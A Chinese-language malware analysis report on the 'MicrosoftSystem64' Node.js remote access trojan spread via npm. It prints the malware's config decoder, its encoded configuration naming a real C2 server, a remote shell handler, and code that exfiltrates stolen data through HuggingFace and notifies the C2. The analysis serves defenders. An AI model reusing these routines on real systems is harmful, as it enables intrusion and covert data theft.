摘要

隨著多階段 malicious payload 開始利用合法雲端基礎架構進行資料滲透,供應鏈攻擊的樣貌已出現顯著變化。本報告對 「MicrosoftSystem64」 執行檔進行深入的技術分析,這是一個以 Node.js Single Executable Application (SEA) 封裝的進階 Remote Access Trojan (RAT)。攻擊者將完整的 JavaScript 執行環境嵌入原生執行檔中,不僅達到高度規避偵測的效果,也保留了跨平台相容性。我們分析了該執行檔的設定混淆手法、使用 WebSocket 的 command-and-control (C2) 架構,以及其利用 HuggingFace 做為資料滲透管道的新穎技術。此外,研究將這些技術與 CoffeeLoader、Rhadamanthys 等當代惡意載入器進行比較,以掌握現階段的威脅環境。

81MB 的 MicrosoftSystem64 竟是 Node.js SEA 惡意程式!HuggingFace 如何淪為滲透後端? | 資訊安全新聞

1. 簡介

現代網路威脅日益表現出融入合法系統程序並濫用第三方可信服務的特性。MicrosoftSystem64 執行檔的出現是此趨勢中的一個重大里程碑 [1] 。最初是透過惡意的 npm 套件(如「js-logger-pack」)散播,這個 malicious payload 展現了從簡易偵察到功能完整之資訊竊取程式的複雜演進。其創新之處不僅在於Node.js SEA的封裝方式,更在於策略性地濫用雲端原生平台來進行資料滲透,進而繞過傳統網路安全邊界——這些邊界通常只監控與已知惡意網域的直接連線。

2. 架構分析:Node.js Single Executable Application (SEA)

MicrosoftSystem64 Malicious payload 是一個 81 MB 的已去除符號之 ELF 執行檔,採用了 Node.js Single Executable Application (SEA) 框架。此架構選擇成為一個強大的規避偵測向量。不同於可能依賴直譯腳本或原生編譯程式碼的傳統惡意軟體,SEA 將 V8 引擎、Node.js 執行環境以及所有必要的相依套件全部打包到單一可執行檔中。

從技術角度來看,這種封裝方式將惡意的 JavaScript 邏輯隱藏在數 MB 的 V8 執行時期字串中,使得靜態分析變得困難。此外,該執行檔會設定 process.title 為「MicrosoftSystem64」,藉此偽裝成原生系統元件,讓自己看似一個合法的服務。此技巧有效規避了針對可疑腳本直譯器(如 node.exe python )的偵測機制,因為執行時看起來就像一個獨立的原生程序。

3. 設定解混淆與密碼學分析

該惡意軟體採用簡單但有效的 XOR 型混淆機制來保護其核心設定。內嵌的 JavaScript 邏輯包含一個解密常式,用於處理 hardcoded 的 Base64 編碼字串。使用靜態的 8 位元組金鑰,讓惡意軟體保持輕量,同時仍能阻礙自動化字串提取。

3.1. XOR 解密常式分析

  1. // Code Analysis 1: XOR Decryption Function
  2. // This function takes a base64 encoded string and XORs it with a hardcoded 8-byte key.
  3. var _K = [ 90, 60, 126, 18, 159, 75, 109, 138 ]; // 8-byte XOR key
  4. function _d ( enc ) {
  5. const buf = Buffer.from(enc, 'base64' ); // Decode base64 to buffer
  6. const out = [];
  7. for ( let i = 0 ; i < buf.length ; i ++ ) {
  8. // Perform XOR operation with the key in a circular manner
  9. out.push(buf[i] ^ _K[i % _K.length ]);
  10. }
  11. return Buffer.from(out).toString ( 'utf8' ); // Convert back to UTF-8 string
  12. }

設定區塊本身揭露了 C2 基礎架構與 API tokens。有趣的是,開發者在原始碼中留下了未經編碼的註解,這雖然方便研究人員進行反混淆,但也顯示攻擊者在建構流程中可能存在的疏失 [1]

3.2. 加密設定區塊分析

  1. // Code Analysis 2: Encrypted Configuration Object
  2. // Stores the C2 endpoints, update URLs, and HuggingFace credentials.
  3. var _CFG = {
  4. // Decoded: ws://195.201.194.107:8010
  5. WS: 'LU9EPbB6VL90Dk4jsXpUvnQNTiWlc127ag==' ,
  6. // Decoded: http://195.201.194.107:8010
  7. HTTP: 'MkgKYqVkQrtjCVAgr3pDu2MIUCOvfFeyag1O' ,
  8. // Decoded: 15000 (Heartbeat interval in ms)
  9. HB: 'awlOPKg=' ,
  10. // Decoded: HuggingFace update repository URL
  11. BIN_URL: 'MkgKYuxxQqUySRl19iUK7DtfGzz8JELgKlkbeaZyVaUpRQ1m+iZA+D9QG3PsLh6lKFkNffM9CKU3XRd8' ,
  12. // Decoded: HuggingFace API Token (Redacted for security)
  13. HF_TOKEN: 'MlohU84sIc82dTpY/CgE3jdOOWD1OwnyDXYRds4bG+cUeBRH7w=='
  14. };

4. Command and Control (C2) 通訊流程

該agent使用WebSocket協定與C2伺服器建立持久連線。此選擇提供了全雙工通訊頻道,讓攻擊者能即時推送命令。通訊生命週期如下列序列圖所示:

sequenceDiagram participant Victim as Infected Host (Agent) participant C2 as C2 Server (WebSocket) participant HF as HuggingFace (Exfil Backend) Victim->>Victim: Decrypt Configuration (XOR) Victim->>C2: Establish WebSocket Connection C2-->>Victim: Connection Accepted loop Heartbeat Victim->>C2: Send agentId & Status (15s) end C2->>Victim: Remote Command (e.g., scan_wallets) Victim->>Victim: Execute Data Theft Logic Victim->>HF: Upload Stolen Data (Git LFS Commit) HF-->>Victim: 201 Created (Upload Success) Victim->>C2: Notify Upload Metadata (datasetName, fileName)

4.1. 遠端Shell執行分析

MicrosoftSystem64 RAT 最關鍵的能力之一是其跨平台遠端 shell 執行。惡意軟體會偵測底層作業系統,並產生對應的 shell 環境來執行攻擊者提供的命令。

  1. // Code Analysis 3: Remote Command Execution Handler
  2. // Dynamically selects the shell based on the platform.
  3. async function handleExecCommand ( task ) {
  4. const timeout = task.timeout ?? 6e4 ; // Default 60s timeout
  5. const cwd = task.cwd ? resolvePath (task.cwd) : process.cwd();
  6. let child;
  7. if (process.platform === 'win32') {
  8. // Use PowerShell on Windows for advanced scripting capabilities
  9. child = spawn ( 'powershell.exe' , [ '-NoProfile' , '-NonInteractive' , '-Command' , task.command], { cwd });
  10. } else {
  11. // Use standard Bourne shell on Linux and macOS
  12. child = spawn ( '/bin/sh' , [ '-c' , task.command], { cwd });
  13. }
  14. // Logic to handle stdout/stderr and process termination follows...
  15. }

5. 透過 HuggingFace API 進行隱密滲透

此攻擊行動的一個決定性特徵是濫用 HuggingFace 的基礎架構來儲存資料。透過利用 HuggingFace API 建立 private dataset 並透過 Git LFS commit 檔案,惡意軟體避免了引起懷疑。由於 HuggingFace 是 AI 研究領域常見的平台,多數企業網路允許其流量,因此它成為了理想的 「living-off-the-cloud」(LotC) 滲透點。

5.1. Git LFS commit 邏輯分析

  1. // Code Analysis 4: HuggingFace Git LFS Commit
  2. // Creates a commit to a private dataset using the HuggingFace API.
  3. async function createCommit ( commitUrl , accessToken , summary , operations ) {
  4. // Set up authentication headers using the decrypted token
  5. const authHeaders = { Authorization: `Bearer ${ accessToken }` };
  6. // Construct the payload for the Git LFS commit operation
  7. const payload = {
  8. summary: summary, // Description of the data (e.g., "scan_wallets")
  9. operations: operations // Array of file operations (upload/delete)
  10. };
  11. // Send POST request to the HuggingFace API endpoint
  12. const response = await fetch(commitUrl, {
  13. method: 'POST',
  14. headers: { ...authHeaders, 'Content-Type': 'application/json' },
  15. body: JSON.stringify(payload)
  16. });
  17. return response.json();
  18. }

資料成功上傳到 HuggingFace 後,agent 會通知 C2 伺服器。這確保了攻擊者的 command-and-control 儀表板能夠與外滲的資料保持同步,而不必將大量 payload 直接存放在 C2 伺服器上。

5.2. C2 Metadata 通知分析

  1. // Code Analysis 5: C2 Upload Notification
  2. // Sends metadata about the successful HuggingFace upload to the C2 server.
  3. async function notifyServer ( uploadId , datasetName , fileName , agentId , folderPath ) {
  4. // The C2 server tracks which dataset belongs to which victim
  5. const body = JSON.stringify({
  6. uploadId,
  7. datasetName,
  8. fileName,
  9. agentId,
  10. folderPath
  11. });
  12. // Send the notification via HTTP POST to the configured endpoint
  13. await fetch(_CFG.HTTP + '/notify', {
  14. method: 'POST',
  15. headers: { 'Content-Type': 'application/json' },
  16. body: body
  17. });
  18. }

6. 比較技術研究

與 CoffeeLoader、Rhadamanthys 等其他現代威脅相比,MicrosoftSystem64 同時展現了共通性與獨特的創新之處。例如,CoffeeLoader 高度著重於透過 GPU-based unpacking 與呼叫堆疊偽造來進行規避 [2] 。雖然 MicrosoftSystem64 缺乏 GPU 型規避技巧,但其使用 Node.js SEA 為靜態分析帶來了同樣程度的複雜性。

在持久性與隱密性方面,Rhadamanthys 0.9.x 引入了全域 mutexes 來防止重複執行,並擴充了 process injection 選項以繞過 EDR 解決方案 [3] 。然而,MicrosoftSystem64 優先採用「Living-off-the-Cloud」策略。Rhadamanthys 可能使用 TOR 來維持 C2 穩定,但 MicrosoftSystem64 依賴 HuggingFace 則代表朝向使用高聲譽網域來掩蓋惡意流量的轉變。下表總結了這些技術差異:

功能 MicrosoftSystem64 CoffeeLoader [2] Rhadamanthys [3]
Packaging Node.js SEA GPU-based Armoury Packer 多形態載入器 (.NET/Native)
資料外洩 HuggingFace (Git LFS) 加密二進位協定 透過 TOR/HTTP 的 C2
規避技巧 SEA 偽裝 呼叫堆疊偽造 類似 Lumma 的誘餌訊息
通訊方式 WebSocket + HTTP HTTPS (iPhone User-Agent) Webhook / TOR

7. 結論

MicrosoftSystem64 RAT 凸顯了透過合法套件管理器針對開發者與組織的供應鏈攻擊正日益精密。藉由結合 Node.js 的可攜性與雲端原生資料外洩的隱密性,threat actors 打造了一個堅韌且極具效能的工具,用於工業間諜活動與認證竊取。技術上轉向濫用 HuggingFace 等平台,迫使防禦策略也須隨之演進,焦點應轉向針對雲端 API 互動進行細部監控,而非單純採用網域黑名單。從與 CoffeeLoader 和 Rhadamanthys 的比較可以看出,朝向進階規避與專門化資料外洩管道的趨勢很可能會持續下去,這需要強健的 EDR 與零信任架構來緩解這些新興風險。